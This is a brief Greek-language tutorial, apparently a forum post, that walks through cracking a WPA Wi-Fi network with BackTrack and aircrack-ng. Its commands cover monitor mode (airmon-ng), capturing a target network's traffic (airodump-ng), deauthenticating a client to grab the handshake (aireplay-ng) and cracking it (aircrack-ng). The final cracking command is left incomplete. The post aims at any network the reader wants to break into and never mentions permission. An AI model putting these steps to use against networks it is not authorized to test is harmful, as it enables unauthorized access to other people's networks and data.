Και πάλι απλά τα πράγματα....
Ανοίγεις το backtrack
airmon-ng start wlan0
το wlan0 είναι διαφορετικό στον καθένα και συμβολίζει την κάρτα σου, αν θες να δεις το δικό σου πάτα iwconfig
αφού ξεκίνησε η κάρτα σου σε monitor mode
μπορείς τώρα να αρχίσεις να ψάχνεις για wpa δικτια
με την εντολή
airodump-ng --encrypt wpa mon0
το mon0 είναι και πάλι διαφορετικό στον καθένα και το πέρνεις όταν έβαλες την κάρτα σε monitore mode
Βρήσκεις το δίκτιο που θές να crackareis και αποθηκεύεις κάπου
το BSSID, ESSID, CHANNEL και το mac του station
ε και μετά του δίνεις και καταλαβένει
δίνεις σε καινουριο shell
airodump-ng --write τοαρχείοσου.cap --channel x --bssid xx:xx:xx:xx:xx --encrypt wpa mon0
το αφίνεις να αράξει και ανοίγεις καινούριο shell και πατάς
aireplay-ng -0 1 -a το:BS:SI:D -c TO:ST:AS:IO:NI:D mon0
τώρα δώσε ένα
aircrack-ng τοαρχείοσου.cap
και δές άν έχεις handshake
αν έχεις είσαι κομπλέ
δώσε ένα
και ας ελπίσουμε να έχει μέσα τον κωδικό που θές